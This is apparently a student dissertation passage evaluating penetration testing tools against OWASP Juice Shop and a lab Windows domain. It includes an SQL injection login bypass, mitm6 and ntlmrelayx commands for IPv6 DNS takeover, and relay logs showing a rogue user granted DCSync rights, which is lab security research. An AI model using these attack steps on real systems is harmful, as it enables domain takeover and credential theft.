While inductive research focuses on observing patterns and trends; deductive states that when a premise is true, so much be the conclusion. Using known data sources to evaluate and create a hypothesis to falsify or verify a theory and then creating a strategy to test said hypothesis. In reality, this is essentially the opposite of inductive research [74].
[image: Deductive Approach Deductive Reasoning]
[bookmark: _Toc92735832][bookmark: _Toc110102230]Figure 17 - Deductive Approach [75]
Lastly, Abductive research addresses the weaknesses behind the previously mentioned research by adopting a pragmatic approach. Consider a known premise to generate an untested conclusion and generate a hypothesis, by collecting data and analysing, a researcher may explore and further identify patterns and trends to theorise new, expand or modify existing hypotheses.
The above research approaches all have a bias towards a particular method of collecting and analysing data. The three main categories are:
· Qualitative
· Quantitative 
· Mixed methods
Qualitative is the use of non-statistical data. This refers to data that isn’t measure by a specific medium such as numbers or used in charts or graphs; the data is used in a categorised based approach on its properties, attributes, and other identifiers.
Quantitative uses a more rigid and defined structure data such as numbers and values allowing for more suitable data analysis.
Mixed method as suggested incorporates both qualitative and quantitative methods into one
3.2.1. [bookmark: _Toc110102191]Research Philosophy – The Research Onion
The Research Onion is a theoretical concept proposed by Saunders, Lewis, and Thornhill in their book Research Methods for Business Students [76] describes the main stages that are required to produce an effective methodology.
With any research approach, underlying philosophical assumptions are assumed and need to be considered. The research Onion assists with this by offering a set of principles concerning worldviews or stances from which research is conducted[image: Understanding the Research Onion | Writing Guides | 15 Writers] [77].[bookmark: _Toc110102231]Figure 18 - The Research Onion - Saunders et al. [126]

Positivism is the research view that knowledge exists outside of what is currently being studied. This can also be said as what is being studied can only be done so objectively and cannot include opinions or personal viewpoints. The main aim of positivism is that it states there is only one reality and that all meaning is consistent between subjects.
This study centres around positivism viewpoints and all information will be supplied via the testing during the experiments conducted. The research will analyse the test results within the simulated network environment and deduct which tool prevails in the tests by highlighting the most positive classification of vulnerabilities while also highlighting little to no false positives.
To understand what penetration testing tool would best benefit DHCW, the below research practices were chosen.
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3.2.2. [bookmark: _Toc110102192]Gannt Chart

[image: Table
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[bookmark: _Toc110102232]Figure 19 - Gannt Chart Progress
3.2.2.1. Planning the Gannt Chart
When looking to start the project, it was assumed 5 days working week. This being considered within the pre-work; a considerable amount of studying was conducting regarding what this project would look to achieve. A fair amount of information was provided from the initial project ‘independent research’, this drastically reduced the requirement for additional literature research providing more time for the later areas of the project.
The pacing of the Gannt chart has not changed since initially shown. A large window for feedback and submission was given knowing that this project may need the attention to complete.
The project was successfully timed and managed throughout and is looking to be submitted early as intended for initial feedback, amendments, and final submission.
3.2.3. [bookmark: _Toc110102193]Contingency plan
· A total of 4 web application & Network Infrastructure tools were selected during the initial literature research phase. If any of the selected tools are unable to be acquired, the tests will run with what is available, this serves for both Web Application and Network Infrastructure scanning tools.
· In the event that a scanning solution causes a server to go offline, an analysis will take place and a hypothesis will be created as to why and what can be done to prevent this.
· If a piece of software is unable to function due to the limitations of a Virtual machine or machine specifications, additional items will be procured to meet said requirements in order to test.
4. [bookmark: _Toc110102194]Design

Within this section, the technology has been used, installation steps which require more in-depth instructions and implementation with reflections of each tool.
Juice Shop is a modern insecure web application provided by Open Web Application Security Project (OWASP); the application contains the OWASP top ten as mentioned previously. A docker will be deployed with Juice shop on a Microsoft Server 2019 Server. Microsoft Server will contain basic services such as AD CS, AD DS, DNS, File and Storage, ISS to name a few. An ‘Attack machine’ using the latest version of Kali Linux (5.16 – 2022.2) will be used to conduct all scans against the server.
[image: Architecture diagram] 
[bookmark: _Toc110102233]Figure 20 - Juice Shop Application Architecture [17]
Kali and Microsoft Windows 2019 will be within virtual machines on the same host and will be bridged so that connectivity is established. Conducting the above environment onto physical servers is believed to make little to no impact.

[image: Diagram
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[bookmark: _Toc110102234]Figure 21 - Experimental Test-bed Topology
4.1. [bookmark: _Toc110102195]Installation
4.1.1. [bookmark: _Toc110102196]Attack Machine
4.1.1.1. Kali Linux
Kali Linux was installed as the operating system of the attack machine, NMAP & Metasploit was pre-installed as a part of the package. A Kali image was taken from the official site ‘kali.org’ and was mounted onto VMware, no alterations was made regarding the installation.
 [image: Graphical user interface, text
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4.1.1.2. Burp Suite
PortSwigger ‘Burp Suite’ provide a 30day trail which was installed and downloaded onto the system, this system required a high resource specification:
· Free Disk Space: 10GB
· RAM: 16GB
· CPU Cores: 4
Initially, the host computer had only 16GB of RAM, this was resolved by purchases an additional 16GB and allocated to the Kali Attack Machine to complete the installation.
PortSwigger provide a standard installation package which was used, and no alterations were made during the process.
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[bookmark: _Toc110102235]Figure 22 - Burp suite Dashboard
4.1.1.3. OpenVAS
OpenVAS was installed uses the command line like many other Linux software’s. Using the following commands, the database was set up and online within minutes:
· Ensuring distro is up to date
· sudo apt-get update
· sudo apt-get dist-upgrade
· sudo apt-get install openvas – runs as root
· sudo gvm-setup
· sudo gvm-start
NOTE* within the installation, an Admin password will be generated and needs to be noted down. If this is missed, the root user can reset the password.
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[bookmark: _Toc110102236]Figure 23 - OpenVAS Dashboard
4.1.2. [bookmark: _Toc110102197]Vulnerable Server
4.1.2.1. Windows Server 2019
A standard Windows Server 2019 image was provided by Microsoft ‘Azure for Education scheme’.
The image came as an ISO with its paired product key.
The image was mounted to VMware virtual machine, no alterations were made to the installation files.
[image: Graphical user interface, website
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4.1.2.2. OWASP Juice Shop
The installation for Juice shop was carried out on the Windows Server 2019. The process is to install ‘Docker’ and run this within PowerShell.
Various issues occurred during the installation process:
· Virtualize Intel VT -x – this required going into the BIOS and enabled this feature to allow virtualisation within a VM (allowed nested VMs).
· Powershell / Docker – Additional Cmdlets were required to run Docker
[image: Text
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· Pilling the OWASP Juice shop – the following command was used to download the docker image “Docker pull bkimminich/juice-shop”

· Once these steps were completed, the command “Docker run –rm -p 3000:3000 bkimminich/juice-shop” – this ran docker and placed is on the local machine under port 3000
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4.2. [bookmark: _Toc110102198]Implementation
4.2.1. [bookmark: _Toc110102199]Web Application
4.2.1.1. Burp Suite
4.2.1.1.1. Scan Results
Reports can be provided by request
[image: Chart
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[bookmark: _Toc110102237]Figure 24 - Burp Suite Scan Results

4.2.1.1.2. SQL Injection
Within the scans results, most vulnerabilities were labelled as “informational” which is unlikely as the simulated testing environment was created with a various arrows of vulnerabilities ranging from informational to critical in severity; Selecting ‘rest/user/login’ which uses the endpoint for login to the application as shown within figure 25.
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[bookmark: _Toc110102238]Figure 25 - Login Endpoint
This within a manual penetration test would highlight an area where querying may be possible with the backend database. Burp suite fully scanned this area and marked the vulnerabilities as shown below Figure 26.
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[bookmark: _Toc110102239] Figure 26 - Rest/User/Login - Scan
Looking into ‘Input return in response (reflected) vulnerability background provided by burp suite, “Reflection of input arises when data is copied from a request and echoed into the application's immediate response. Input being returned in application responses is not a vulnerability in its own right. However, it is a prerequisite for many client-side vulnerabilities, including cross-site scripting, open redirection, content spoofing, and response header injection. Additionally, some server-side vulnerabilities such as SQL injection are often easier to identify and exploit when input is returned in responses. In applications where input retrieval is rare and the environment is resistant to automated testing (for example, due to a web application firewall), it might be worth subjecting instances of it to focused manual testing.” A manual check will be underdone.
4.2.1.1.3. SQL Injection (Manual check)

Using the same results shown in the figure 26 above, we can investigate this further by using burp suite that was installed with base kali. By navigating to the login screen where this endpoint is we can run an ‘intruder attack’ with a standard ‘simple list’ payload using Kali shared wordlists under “user/share/wfuzz/wordlist/injections/SQL”; after a couple of seconds, the injection attack was able to login with 5 payload attempts.
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[bookmark: _Toc110102240]Figure 27 - Intruder Payload attack
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[bookmark: _Toc110102241]Figure 28 - Payload
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[bookmark: _Toc110102242]Figure 29 - Payload successful
Viewing the first successful payload we can see a login as admin - figure 29
Using the “ ‘ “closes the email string thus allowing use to input code, we are using the OR TRUE – in this instance (others will work), this will enable us to continue an SQL query with TRUE as the Boolean value, the “ – “ will comment out any SQL query after TRUE allowing only for our code to be ran. Due to improper sanitation of the email string, this code was run and the first user/email under ‘email table’ within the database was selected and signed into.
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[bookmark: _Toc110102243]Figure 30 - SQL Injection (Manual Check)
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[bookmark: _Toc110102244]Figure 31 - Signed in as Admin@juice-sh.op
4.2.1.1.4. Reflections
Burp suite was expected to be the more dominant contender for this project; literature reviewed suggested tenable.IO would be its only match. Unfortunately, this was unable to be tested within this project due to the limitations on availability of the vendors. Burp Suite provided accurate results and possible solutions and scenarios that could be abused by a threat actor. Burp Suite however also mismanaged the vulnerabilities found by labelling them as informational, this may be accurate in scan information, however I believe that this was due to the scans ran against the system and the environment used, a thorough scan (all modules enabled) was not able to be conducted due to the time commitment of the scan. Some lasting more than 15hours without completion, as faster and less audited scan was completed and used. Personally, I believe both Burp suite enterprise and burp suite itself would be a great additional to both personal use and organisational use.
If this project were to be completed again the following would need to be considered:
· Resourcing adequate equipment to host the software
· Different simulated testing environment / application
· Plugin usage


4.2.1.2. Metasploit
4.2.1.2.1. Scan Results
Reports can be provided by request
Metasploit used an inbuilt module known as ‘WMAP’ to scan for web application-based vulnerabilities. This was used within all tests against the vulnerable web application. Unfortunately, Metasploit software kept crashing the PowerShell docker on the vulnerable server through JavaScript overflow. The Powershell Docker script was ran multiple times to ‘bring it back up’ the server, once Metasploit was able to detect the application again, it was down again. 
Investigations should be conducted on the following:
· How the scanning conducted
· Additional/substitute modules that are being used within the scans
· Different simulated testing environment / application


[image: Graphical user interface, text

Description automatically generated]
[bookmark: _Toc110102245]Figure 32 - OWASP Juice Shop Crashing

4.2.1.2.2. Reflections

The expectation of Using Metasploit was to thoroughly scan and exploit any known vulnerabilities with a given system; however, this was not the case. Metasploit consistently and systematically took the web server it was scanning offline at every scan attempt, this was not expected initially as it was not mentioned in any literature reviewed the devastation it can cause. This has however allowed me to review a variety of modules within its playbook of scripts and exploits in an attempt to find a solution within the limited time; alas, very little scripts are useful within this project. Metasploit seems to be a full-on exploitation piece of kit that has some usefulness in regard to scanning for vulnerabilities but more excels in its ability to brutely exploit a device. 
Metasploit would not meet organisational requirements at this stage due to the possibility of taking out services across NHS Wales. However, personally, I believe this should still be considered a scanning tool due to the variety of modules available to it.
If the opportunity arises that I would be able to perform this test again, I will look to do the following:
· Change Environment
· Change Web application
· Thorough research on available scripts and exploits within Metasploit
· In depth analysis on how Metasploit attacks / Scans to reduce the likelihood of server takedown and detection.
4.2.2. [bookmark: _Toc110102200]Network Infrastructure
4.2.2.1. NMAP
4.2.2.1.1. Scan Results
Reports can be provided by request
NMAP uses a scripting engine which allows custom written scripts to be utilised by NMAP. Using the following command, the script ‘Vulscan’ was used.
“nmap -sV --script=vulscan/vulscan.nse --script-args vulnscanoutput=listtitle -oA NMAPVulnScanTitle -vv 192.168.186.128”
The scan commands are:
· NMAP – to initiate the scan
· -sV – Service & Version Detection
· --Script – Enables the scripting engine 
· =vulscan/vulscan.nse – location/name of script
· --scrip-args – arguments applied to the script
· -oA – Output formats (XML, GREP, Nmap)
· -vv – verbose intensity (logs)
· 192.168.186.128 – target

4.2.2.1.2. IPV6 DNS Takeover
Nmap has found various potential vulnerabilities, within this example we will be looking at domain admin – IPV6 DNS takeover.
IPV6 is enabled as default as seen within the image below via the server & NMAP
[image: ]
[bookmark: _Toc110102246]Figure 33 - NMAP DNS
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[bookmark: _Toc110102247]Figure 34 - Vulnerable Server IPV6


4.2.2.1.3. IPV6 DNS Takeover (Manual check)
Continuing on from the above section, we will be using MITM6 [78] & Impacket [79] to check for IPV6 DNS Takeover and exploiting where possible. 
To start the attack, we must be able to see/access the Domain controller. Using MITM6, we use the following command
‘sudo mitm6 -d DC.local’ – 
· Sudo - raises privileges to root
· -d – specifies the domain
This command leverages the IPV6 & active directory. IPV6/4 is enabled by default on all devices.
By using the above command this essentially allows the kali attacking machine to become the DNS via spoofing. By listening for any IPV6 on the network, information will be passed to the attack machine. [image: Text
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[bookmark: _Toc110102248]Figure 35 - Spoofs Win-10-Client.DC.local
From this, the next command will be used:
‘ntlmrelay.py -6 -t ldaps://192.168.186.128 -wh fakewpad.DC.local -l loot
· -6 ipv6 
· -t target
· Ldaps://192.168.186.128 – target domain
· -wh fakewpad.DC.local – fake wpad
· -l – gets loot
This man in the middle attack will replay the pass any information within NTML and pass this back to the LDAP spoofed server (Attack machine) it will attempt to authenticate via LDAP.
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[bookmark: _Toc110102249]Figure 36 - Win-10-Client Looted
This has now dumped all information into the Loot folder.
[image: ]
[bookmark: _Toc110102250]Figure 37 - Impacket Loot
By using the following command, we can see the content of file ‘firefox domain_users_by_group_html’
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[bookmark: _Toc110102251]Figure 38 - Domain users by group
This becomes an even more severe issue if an administrator logs into a computer while this is ongoing. As seen below, an administrator account is taken, and privileges utilised to create a new user on the domain.
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[bookmark: _Toc110102252]Figure 39 - User created on Domain Controller
We can confirm that the user has been created.
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[bookmark: _Toc110102253]Figure 40 - User created on Domain Controller
Further exploits can be ran at this stage such as ‘—delegate-access-‘this can add a new computer with delegate access and login, furthering on from this we can use S4U2Self which can access the has dumps amongst other areas.

4.2.2.1.4. Reflections
NMAP was expected to perform fast and reliably; I am happy to see that this expectation was true. Nmap was able to perform the scan in under 120 seconds (2 minutes!) this was considerably faster when compared to another other solution reviewed within the literature. Within this project, NMAP utilised its Scripting engine to provide a more detailed analysis on vulnerabilities discovered, typically this information is never given and only a strict port can and service detection and mainly used. If this project were to be undertaken again in future, no changes would be required for NMAP to function, however, more scripts for NSE would be useful. This would be suitable for Both Personal & Organisational use from initial results.

4.2.2.2. OpenVas
4.2.2.2.1. Scan Results

Reports can be provided by request
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4.2.2.2.2. SSL / TLS
OpenVAS detected various TLS / SSL issues varying from information to High in severity.
All the vulnerabilities found surround the same issues as such all will be discussed in general
· SSL/TLS: Deprecated SSLv2
· SSL/TLS: Deprecated SSLv3
· SSL/TLS: Deprecated TLS 1.0
· SSL/TLS: Deprecated TLS 1.1
· Unencrypted Communications
The above vulnerabilities all stem from the same issues, SSL/TLS issues.
Starting with unencrypted communications, this refers to an application / service connecting to users or another service over unencrypted communications. An attack suitably positioned can leverage this to view a legitimate users’ network traffic and could record, monitor, and even modify their interactions with application. This is where SSL/TLS comes in, SSLv2 & 3 both uses the secure socket layer to provide encryption to information in transit. This has now affected by several cryptographic flaws such as CBC ciphers, insecure renegotiation which can be exploited by an attacker. TLS 1.0 & 1.1 is in a similar position to SSLv2 & 3 with several cryptographic design flaws. It is recommended to switch to TLS 1.2 which provides the major benefits such as the removal of MD5/SHA-1 and the inclusion of SHA-256 cipher suites.

4.2.2.2.3. SSL / TLS (Manual check)
[image: Text

Description automatically generated]Using both Firefox & Google chrome on the kali attack machine, I was for confirmation that both browsers identify that the application and IIS default page have insecure connections. Looking further into the certificated provided, we could see that various weak protocols and ciphers are in use and are available to be exploited and in some cases no protections at all allows for clear text information across the network.
Attacks such as Man-in-The-Middle (MITM) where an attack positions themselves between the application server and user and secretly relays or changes said information. 
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[bookmark: _Toc110102255]Figure 42 – Server Enabled Protocols
4.2.2.2.4. Reflections
OpenVAS has little difference regarding expectations when compared to NMAP/ZenMap. Both offer extensive network and infrastructure scanning. OpenVAS scans were very long in comparison to NMAP. The initial scans took over 7 hours which is a considerably comparable to Burp suite solution, dependant on the scanning nature, this could be still considered for Organisational use.
OpenVAS strong points are regarding its user interface and severity ratings, both sleek and accurate throughout scanning while also providing risk profiles for assets and sites and a full configurable scanning solution. Personally, and organisationally, I believe OpenVAS could be considered a high-quality network scanning and risk management tracking tool that could highly benefit both personal use within further projects and could be used within a large scale organisation.
If this project was undertaken again, I would look further into the following:
·  Different simulated testing environment / application
5. [bookmark: _Toc110102201]Results and Analysis 

5.1. [bookmark: _Toc110102202]Burp suite Enterprise
Burp suite enterprise is still within its early days with its initial release in June 2019, providing various of inbuild scanning configurations, a dashboard that is sleek and easy to navigate, its ability to identify various software packages accurately. However, while using Burp Suite enterprise it became apparent that the scanner was slow and somewhat unreliable against the simulated network test environment, the scanner was unable to find various high-risk vulnerabilities such as SQL Injection, Cross-site scripting (XSS), HSTS & Cross-site request forgery to name a few. It was also noticed that it was unable to find certain webpages such as “www.192.168.186.128:3000/#/login”  but found the REST API database behind it. it was deduced that the scanner was unable to fully scan the docker/web application and its components within the current setup. This being further highlight as a manual penetration test was completed within the above section as the scan spotted and labelled it” input returned in response (reflected)” (Classed: Informational) where it highlights that SQL injection may be possible and should be subjected to manual penetration testing; this raises questions regarding what tests are being conducted within the scans, is any injection checks being conducted to review if areas are susceptible to injection or XSS. 
[image: Graphical user interface, text, application

Description automatically generated]
[bookmark: _Toc110102256]Figure 42 - Cross-Site Scripting (XSS) Informational
SQL injection as shown within the above section is possible and very easy to execute as not even the basic protections are in place. Its testing accuracy with vulnerabilities found is somewhat questionable as various vulnerabilities under the “Cross-site Scripting” tag was found but categorised as “Informational”. In almost all cases, this should be highlighted as a high risk; using the links provided by the Burp Suite Enterprise scanner, it was further confirmed that this should be a high risk… https://capec.mitre.org/data/definitions/591.html with the captions of:
· Likelihood of attack: - High
· Read Data
· Gain Privileges
· Execute Unauthorized Commands
· Modify Data
· Typically, Severity – Very High

Further investigation is required regarding the following above issues:
· Determine a clearer understanding of Burp Suite Enterprises capabilities and use in real world.
· Identify the why pages were unable to be scanned

5.2. [bookmark: _Toc110102203]Metasploit
Whilst Metasploit sports an array of modules & exploitation scripts that can be loaded in order to suit the user needs, in the case with this project, it was unfortunately too overpowering for the web application. No results were able to be taken using ‘WMAP’ module as it caused the docker to crash at every point. An investigation will need to be conducted on the how and why this module caused the crashing and to see if there are any other modules that can perform this type of scan; in any case, this module appears to not be acceptable for further testing as it stands due to the ferocity while scanning.

5.3. [bookmark: _Toc110102204]NMAP 

NMAPs scanning solution lives up to its expectations and meets them with ease, with its scripting engine and quick and reliable scans, this is a reliable and required tool in any penetration testers arsenal. During the project, NMAP scored the highest of the two with its 18 ports found, 18 services detected and scripting engine finding 14 potential vulnerability vectors, within the full report the ‘Vulscan’ shows hundreds of potential scripts that can be ran, the downside to this is that not actual exploitation / checks were conducted to identify the exploits. This would be a considerable enhancement to NMAP as it would allow attacks to quickly identify vectors of attack and exploit them within minutes of an initial scan.
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5.4. [bookmark: _Toc110102205]OpenVAS
Providing a full user interface and reliable scan results, OpenVAS falls short of NMAP but sticks closely with ports services detected and vulnerability analysis. Providing vulnerability analysis far better than what NMAP had offered within its scan, OpenVAS reported on any vulnerability with its CVS score v2 with surrounding information related to the vulnerability and offers solutions that may be used to remediate or mitigate the issues found while also providing long histories and daily updates, dashboards can be customized to show what an organisation deems critical and have the displayed. OpenVAS scans took a large amount of time to complete the initial scans, when contracting this against initial expectations, this took far longer than anticipated. At this state, OpenVAS could be recommended to be used as an organisational tool, however further research should be conducted within a live environment to gain a better understanding of the tool’s capabilities.




6. [bookmark: _Toc110102206]Evaluation
Throughout this project, issues have arisen. Starting with the acquisition of testing solutions such as Tenable IO & SC. Burp Suite required additional system requirements which was able to be overcame in the timescale buy impacted the project timescale slightly; the project stayed on track regardless of this. The major impact of the assessments is believed to be related to the web app that was tested, ‘OWASP Juice shop is the world’s most modern & sophisticated insecure web application’ as said by OWASP themselves as well as many other backers, this was selected for the project for that reason; with a list of vulnerabilities that could be exploited it was considered the first choice. Once scans began it became apparent that the website was not suited to this test; it is believed after further analysis that OWASP Juice shop is strictly developed for manual penetration testing and training and not to be scanned with automation; Metasploit was a prime example of this. This should be taken forward into any future workings and is recommended to create a brand-new web application outside of a docker and hosted on other solutions such as physical machines or cloud with providers such as Microsoft Azure or Amazon Web Services.
Both web application and network infrastructure testing completed all scans without credentials, preventing all solutions from gaining an in-depth analysis, it should be considered to allow full credentialed access to both underlying infrastructure and web applications to gain a full understanding of the risk profile each environment contains. All solutions were used by an inexperienced cyber security professional, due to this it can be considered that both NMAP and OpenVAS could perform very differently, similarly to Metasploit & Burp suite; if this was conducted by a Penetration tester, the result could be completely different due to skills and knowledge of each application / software accumulative throughout the years; this should be considered in future workings. At this point in time, no solution can be recommended to the organisation due to the variables within the project.
7. [bookmark: _Toc110102207]Appendix

7.1. [bookmark: _Toc110102208]Burp Suite Scan



7.2. [bookmark: _Toc110102209]NMAP Scan


7.3. [bookmark: _Toc110102210]OpenVas Scan


7.4. [bookmark: _Toc110102211]Gannt Chart



7.5. [bookmark: _Toc110102212]Considered Tools
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[ (kali® kali)- [~/mitme]
$ sudo mitmé -d DC.local
[sudo] password for kali
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Sent spoofed reply for wpad.DC.local.
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Renew reply sent to

Renew reply sent to
Renew reply sent to
Renew reply sent to
Renew reply sent to
Renew reply sent to
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Protocol Client LDAP loaded
Protocol Client LDAPS loaded
Protocol Client MSSQL loaded..
Protocol Client DCSYNC loaded..
Protocol Client RPC loaded..
Protocol Client HTTPS loaded..
Protocol Client HTTP loaded
Protocol Client SMB loaded..
Protocol Client AP loaded
Protocol Client IMAPS loaded
Protocol Client SWTP loaded
Running in relay mode to single host
Setting up SMB Server

Setting up HTTP Server on port 80
Setting up WCF Server

Setting up RAW Server on port 6666

Servers started, waiting for connections
HTTPD(80): Client requested path: /wpad.dat

HTTPD(80): Client requested path: /wpad.dat

HTTPD(80): Serving PAC file to client ::ffff:192.168.186.130

HTTPD(80): Client requested path: http://ipvé.msftconnecttest.com/connecttest.txt

HTTPD(80): Client requested http://wm .nsftconnecttest. con/connecttest. txt

HTTPD(80): Client requested http://wm .nsftconnecttest. com/connecttest. txt

HTTPD(80): Connection from :: ffff:192.168.186.130 controlled, attacking target ldaps://192.168.186.128
HTTPD(80): Client requested path: http://ipvé.msftconnecttest.com/connecttest. txt

HTTPD(80): Connection from :: ffff:192.168.186.130 controlled, attacking target ldaps://192.168.186.128
HTTPD(80): Client requested path: http://wmi.msftconnecttest.com/connecttest. txt

HTTPD(80): Client requested path: http://ipvé.msftconnecttest.com/connecttest. txt

HTTPD(80): Authenticating against 1daps://192.168.186.128 as DC/WIN-10-CLIENT$ SUCCEED

Enumerating relayed user’s privileges. This may take a while on large domains

HTTPD(80): Authenticating against ldaps://192.168.186.128 as DC/WIN-10-CLIENT$ SUCCEED

Enumerating relayed user's privileges. This may take a while on large domains

Dumping domain info for first time

Domain info dumped into lootdir
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(el kali) - [~/impacket /oot ]
$ 1s
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*] HTTPD(80): Authenticating against ldaps://192.168.186.128 as DC/WIN-10-CLIENT$ SUCCEED
+] Enumerating relayed user's privileges. This may take a while on large domains

*] User privileges found: Create user

+] User privileges found: Adding user to a privileged group (Enterprise Admins)

*] User privileges found: Modifying domain ACL

*] Attempting to create user in: CN-Users,DC=DC,DC=local

*] Adding new user with username: LGWVSbvaxg and password: q::qnlqQIp.Nref result: OK
*] Querying domain security descriptor

*] Success! User LGWVSbvaxg now has Replication-Get-Changes-All privileges on the domain
*] Try using DCSync with secretsdump.py and this user :)

+] Saved restore state to aclpwn-20220729-110605.restore

-1 New user already added. Refusing to add another

-1 Unable to escalate without a valid user, aborting.

+] Dumping domain info for first time

*] Domain info dumped into lootdir!
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Site name:

Owasp Testing

Scanned:




		
Start:
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End:
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Duration:

11h 26m

Status:

Failed

15 consecutive audit items have failed.


		
Included URLs:

http://192.168.186.128:3000/


Excluded URLs:

https://github.com/
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Issues by severity





		High:
		0




		Medium:
		2




		Low:
		4




		Information:
		83




		Total issues found:
		89








		
Scan statistics





		Total scanned URLs:
		132




		URLs with errors:
		69




		Requests made:
		728316




		Network errors:
		420






















Issues found on http://192.168.186.128:3000






		URLs By issue type
		Severity
		Confidence
		More detail






		Unencrypted communications [1]





		
/

		Low
		Certain
		>>



		Open redirection (reflected) [1]





		
/redirect

		Low
		Certain
		>>



		Cross-site request forgery [2]





		
/socket.io/

		Medium
		Tentative
		>>



		
/socket.io/

		Medium
		Tentative
		>>



		Vulnerable JavaScript dependency [1]





		
/

		Low
		Tentative
		>>



		Open redirection (DOM-based) [1]





		
/

		Low
		Tentative
		>>



		Cross-origin resource sharing [31]





		
/

		Info
		Certain
		>>



		
/103.js

		Info
		Certain
		>>



		
/assets/i18n/en.json

		Info
		Certain
		>>



		
/ftp

		Info
		Certain
		>>



		
/ftp/

		Info
		Certain
		>>



		
/ftp/acquisitions.md

		Info
		Certain
		>>



		
/ftp/announcement_encrypted.md

		Info
		Certain
		>>



		
/ftp/coupons_2013.md.bak

		Info
		Certain
		>>



		
/ftp/eastere.gg

		Info
		Certain
		>>



		
/ftp/encrypt.pyc

		Info
		Certain
		>>



		
/ftp/incident-support.kdbx

		Info
		Certain
		>>



		
/ftp/legal.md

		Info
		Certain
		>>



		
/ftp/package.json.bak

		Info
		Certain
		>>



		
/ftp/quarantine

		Info
		Certain
		>>



		
/ftp/quarantine/juicy_malware_linux_amd_64.url

		Info
		Certain
		>>



		
/ftp/quarantine/juicy_malware_linux_arm_64.url

		Info
		Certain
		>>



		
/ftp/quarantine/juicy_malware_macos_64.url

		Info
		Certain
		>>



		
/ftp/quarantine/juicy_malware_windows_64.exe.url

		Info
		Certain
		>>



		
/ftp/suspicious_errors.yml

		Info
		Certain
		>>



		
/redirect

		Info
		Certain
		>>



		
/rest/admin/application-configuration

		Info
		Certain
		>>



		
/rest/admin/application-version

		Info
		Certain
		>>



		
/rest/captcha/

		Info
		Certain
		>>



		
/rest/continue-code

		Info
		Certain
		>>



		
/rest/languages

		Info
		Certain
		>>



		
/rest/memories/

		Info
		Certain
		>>



		
/rest/products/search

		Info
		Certain
		>>



		
/rest/user/whoami

		Info
		Certain
		>>



		
/robots.txt

		Info
		Certain
		>>



		
/snippets

		Info
		Certain
		>>



		
/tutorial.js

		Info
		Certain
		>>



		Cross-origin resource sharing: arbitrary origin trusted [31]





		
/

		Info
		Certain
		>>



		
/103.js

		Info
		Certain
		>>



		
/assets/i18n/en.json

		Info
		Certain
		>>



		
/ftp

		Info
		Certain
		>>



		
/ftp/

		Info
		Certain
		>>



		
/ftp/acquisitions.md

		Info
		Certain
		>>



		
/ftp/announcement_encrypted.md

		Info
		Certain
		>>



		
/ftp/coupons_2013.md.bak

		Info
		Certain
		>>



		
/ftp/eastere.gg

		Info
		Certain
		>>



		
/ftp/encrypt.pyc

		Info
		Certain
		>>



		
/ftp/incident-support.kdbx

		Info
		Certain
		>>



		
/ftp/legal.md

		Info
		Certain
		>>



		
/ftp/package.json.bak

		Info
		Certain
		>>



		
/ftp/quarantine

		Info
		Certain
		>>



		
/ftp/quarantine/juicy_malware_linux_amd_64.url

		Info
		Certain
		>>



		
/ftp/quarantine/juicy_malware_linux_arm_64.url

		Info
		Certain
		>>



		
/ftp/quarantine/juicy_malware_macos_64.url

		Info
		Certain
		>>



		
/ftp/quarantine/juicy_malware_windows_64.exe.url

		Info
		Certain
		>>



		
/ftp/suspicious_errors.yml

		Info
		Certain
		>>



		
/redirect

		Info
		Certain
		>>



		
/rest/admin/application-configuration

		Info
		Certain
		>>



		
/rest/admin/application-version

		Info
		Certain
		>>



		
/rest/captcha/

		Info
		Certain
		>>



		
/rest/continue-code

		Info
		Certain
		>>



		
/rest/languages

		Info
		Certain
		>>



		
/rest/memories/

		Info
		Certain
		>>



		
/rest/products/search

		Info
		Certain
		>>



		
/rest/user/whoami

		Info
		Certain
		>>



		
/robots.txt

		Info
		Certain
		>>



		
/snippets

		Info
		Certain
		>>



		
/tutorial.js

		Info
		Certain
		>>



		Input returned in response (reflected) [14]





		
/ftp/quarantine/juicy_malware_linux_amd_64.url

		Info
		Certain
		>>



		
/ftp/quarantine/juicy_malware_linux_arm_64.url

		Info
		Certain
		>>



		
/ftp/quarantine/juicy_malware_macos_64.url

		Info
		Certain
		>>



		
/ftp/quarantine/juicy_malware_windows_64.exe.url

		Info
		Certain
		>>



		
/redirect

		Info
		Certain
		>>



		
/rest/admin/application-configuration

		Info
		Certain
		>>



		
/rest/captcha/

		Info
		Certain
		>>



		
/rest/continue-code

		Info
		Certain
		>>



		
/rest/languages

		Info
		Certain
		>>



		
/rest/memories/

		Info
		Certain
		>>



		
/rest/products/search

		Info
		Certain
		>>



		
/rest/products/search

		Info
		Certain
		>>



		
/rest/user/whoami

		Info
		Certain
		>>



		
/rest/user/whoami

		Info
		Certain
		>>



		Cross-domain Referer leakage [1]





		
/redirect

		Info
		Certain
		>>



		Cross-domain script include [1]





		
/

		Info
		Certain
		>>



		Backup file [2]





		
/ftp/coupons_2013.md.bak

		Info
		Certain
		>>



		
/ftp/package.json.bak

		Info
		Certain
		>>



		Private IP addresses disclosed [1]





		
/rest/admin/application-configuration

		Info
		Certain
		>>



		Robots.txt file [1]





		
/robots.txt

		Info
		Certain
		>>



		HTML does not specify charset [1]





		
/socket.io

		Info
		Certain
		>>














More details for http://192.168.186.128:3000







[bookmark: 4648615973714477056]
Unencrypted communications


/


Issue description




The application allows users to connect to it over unencrypted connections.  An attacker suitably positioned to view a legitimate user's network traffic could record and monitor their interactions with the application and obtain any information the user supplies. Furthermore, an attacker able to modify traffic could use the application as a platform for attacks against its users and third-party websites. Unencrypted connections have been exploited by ISPs and governments to track users, and to inject adverts and malicious JavaScript. Due to these concerns, web browser vendors are planning to visually flag unencrypted connections as hazardous.



To exploit this vulnerability, an attacker must be suitably positioned to eavesdrop on the victim's network traffic. This scenario typically occurs when a client communicates with the server over an insecure connection such as public Wi-Fi, or a corporate or home network that is shared with a compromised computer. Common defenses such as switched networks are not sufficient to prevent this. An attacker situated in the user's ISP or the application's hosting infrastructure could also perform this attack. Note that an advanced adversary could potentially target any connection made over the Internet's core infrastructure.



Please note that using a mixture of encrypted and unencrypted communications is an ineffective defense against active attackers, because they can easily remove references to encrypted resources when these references are transmitted over an unencrypted connection.






Issue remediation




Applications should use transport-level encryption (SSL/TLS) to protect all communications passing between the client and the server. The Strict-Transport-Security HTTP header should be used to ensure that clients refuse to access the server over an insecure connection.





References




		Marking HTTP as non-secure


		Configuring Server-Side SSL/TLS


		HTTP Strict Transport Security








Vulnerability classifications




		CWE-326: Inadequate Encryption Strength


    		CAPEC-94: Man in the Middle Attack


    		CAPEC-157: Sniffing Attacks
















[bookmark: 5267920238651812864]
Open redirection (reflected)


/redirect

Issue detail:



